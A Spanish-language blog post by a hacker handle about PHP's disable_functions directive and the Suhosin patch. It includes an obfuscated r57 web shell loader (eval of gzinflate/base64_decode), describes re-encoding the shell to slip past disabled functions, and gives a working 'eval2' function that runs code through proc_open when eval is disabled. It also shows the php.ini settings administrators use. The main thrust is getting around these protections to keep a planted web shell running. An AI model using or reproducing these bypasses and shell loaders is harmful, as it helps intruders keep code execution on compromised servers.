disable_functions & suhosin patch
Posted on 11:50 by Xianur0
Es una directiva de php, y pues tiene bastantes usos, pero en si para lo que nos sirve es para desactivar determinadas funciones en php, por ejemplo:
<? eval2(gzinflate(base64_decode("7b15f+I48jj89+TzyXtwe7NjmCYECORsMkkISUjnBHJ29y9rsAPuGMzYkKNn+70/[...]"))); ?>
Bueno eso vendria siendo un troso de la r57 encriptada, podemos ver claramente cual es el proceso de decodificacion y ejecucion, es decir, si desactivamos la funcion base64_decode, tirara un error de tipo "Warning" avisando que la funcion esta desactivada, y por ende esta shell no se ejecutara, ahora si esta desactivada esa funcion solo es cosa de hacer otra clase de codificacion, se me ocurre pasar cada caracter de la shell a hexadecimal (mas bien seria urlencode), es decir quedarian el valor hexadecimal con prefijo "%" por ejemplo un espacio seria "%20"
luego se integra un script que decodifique y retorne la shell compresa (gzdeflate), aunque basicamente es lo mismo que hacen con base64, ahora si se desactiva el gzinflate, hay funciones similares que se pueden usar:
gzcompress/gzuncompress
etc...
por lo cual tambien seria facil ejecutar nuestra shell, pero si se desactiva eval? (este no se desactivaria con disable_functions, si no con el suhosin-patch)
Para los que se preguntan como se desactiva el eval, necesitan tener el php con suhosin y en el php.ini poner la directiva:
suhosin.executor.disable_eval = 1
pues usar lo que tenemos, si hay alguna funcion para ejecutar comandos activa (eso incluye las comillas invertidas "``")
podemos hacer algo como:
function eval2($php) {
// eval2 By Xianur0
$cabecera = "<?php\n";
foreach($_GET as $key => $valor) $cabecera .= '$_GET['.$key.'] = "'.$valor.'";';
foreach($_POST as $key => $valor) $cabecera .= '$_POST['.$key.'] = "'.$valor.'";';
foreach($_SERVER as $key => $valor) $cabecera .= '$_SERVER['.$key.'] = "'.$valor.'";';
foreach($HTTP_POST_FILES as $key => $valor) $cabecera .= '$HTTP_POST_FILES['.$key.'] = "'.$valor.'";';
$consulta = $cabecera.$php." ?>";
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error-output.txt", "a")
);
$cwd = getcwd();
$process = proc_open('php', $descriptorspec, $pipes, $cwd);
if (is_resource($process)) {
fwrite($pipes[0], $consulta);
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
}
}
y ahi quedo, incluso el eval se puede remplazar, aunque en este caso se requiere que el servidor tenga proc_open, aunque se podria usar cualquier otra funcion para ejecutar comandos (php -r)
y regresando al disable_functions
para los que no esten familiarizados con como usarlo:
disable_functions = "system"
esa seria mas o menos su sintaxis (En el archivo php.ini), nadamas es que le cambien y pongan que funciones quieren desactivar, reiniciar el servidor y listo...
Ejemplo de una r57 encriptada con eval desactivado:
Ejemplo de la misma r57 en el mismo servidor usando el eval2:
Saludos y espero que les haya gustado
By Xianur0